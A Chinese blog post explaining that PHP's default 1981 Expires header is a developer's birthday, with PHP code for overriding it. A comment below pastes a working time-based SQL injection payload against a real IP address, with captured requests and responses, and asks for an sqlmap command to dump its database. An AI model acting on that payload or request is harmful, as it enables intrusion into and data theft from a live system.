Expires:Thu, 19 Nov 1981 08:52:00 GMT

本文解释了PHP中默认Expires头的来历及其与开发者Sascha Schumann生日的关系,并提供了如何自定义Expires头的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

是不是有些眼熟?

这是http response headers中的expires信息。

这时间也对不上啊!是不是有些奇怪?

找到一个有趣的回答:

It’s an attempt to disable caching.
The date is the birthday of the developer Sascha Schumann who added the code.
File: session.c
Authors: Sascha Schumann < sascha@schumann.cx >
Andrei Zmievski < andrei@php.net >
// …
CACHE_LIMITER_FUNC(private)
{
ADD_HEADER(“Expires: Thu, 19 Nov 1981 08:52:00 GMT”);
CACHE_LIMITER(private_no_expire)(TSRMLS_C);
}

意思是:“在使用php的站点中,如果开发者没有设置expires信息,那就会使用默认的信息,而默认的值就是”Expires: Thu, 19 Nov 1981 08:52:00 GMT“,这个默认值是开发这段代码的工程师的生日。~

好吧,我们不反对这种事情。不过有时候某些安全公司对你的站点进行扫描的时候,可能就会认为这是一个问题。

那如果要解决的话如何处理呢?

很简单,在代码中设置一下expires就可以了。

// 设置expires时间为当前时间+10分钟

$ts = gmdate("D, d M Y H:i:s", time() + 600) . " GMT";
header("Expires: $ts");
https://148.66.5.154/agent/invote_code/list?page=1&limit=10 ParamPosition query ParamKey page Payload 1'and(select+1)>0waitfor/**/delay'0:0:3 Request1 GET /agent/invote_code/list?limit=10&page=1%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A0 HTTP/1.1 Host: 148.66.5.154 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: PHPSESSID=ln467gh2n0t7jl4uk8ss3l9qk1 Referer: https://148.66.5.154/agent/invote_code/index Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Requested-With: XMLHttpRequest Accept-Encoding: gzip Copy Response1 HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Access-Control-Request-Method: * Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Cache-Control: no-store, no-cache, must-revalidate Connection: keep-alive Content-Type: application/json Date: Mon, 28 Jul 2025 08:49:13 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: nginx Strict-Transport-Security: max-age=31536000 Vary: Accept-Encoding Request2 GET /agent/invote_code/list?limit=10&page=1%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A3 HTTP/1.1 Host: 148.66.5.154 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: PHPSESSID=ln467gh2n0t7jl4uk8ss3l9qk1 Referer: https://148.66.5.154/agent/invote_code/index Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Requested-With: XMLHttpRequest Accept-Encoding: gzip Copy Response2 HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Access-Control-Request-Method: * Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Cache-Control: no-store, no-cache, must-revalidate Connection: keep-alive Content-Type: application/json Date: Mon, 28 Jul 2025 08:49:17 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: nginx Strict-Transport-Security: max-age=31536000 Vary: Accept-Encoding Extra { "avg_time": "833", "n_time": "3174", "p_time": "749", "sleep_time": "3000", "stat": "{\"normal\":{\"samples\":[1161,849,711,718,704,856],\"avg\":833.1666666666666,\"std_dev\":159.74919579001192,\"sleep_time\":3},\"sleep_0_time\":749,\"quick_check\":{\"samples\":[3174],\"sleep\":3},\"verify\":{\"samples\":[4176,5101,12188],\"sleep\":4}}", "std_dev": "159", "title": "Generic SQL Server time based case ['string']", "type": "time_based" 根据这个帮我写一句sqlmap的查询数据库的语句
最新发布
07-29
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值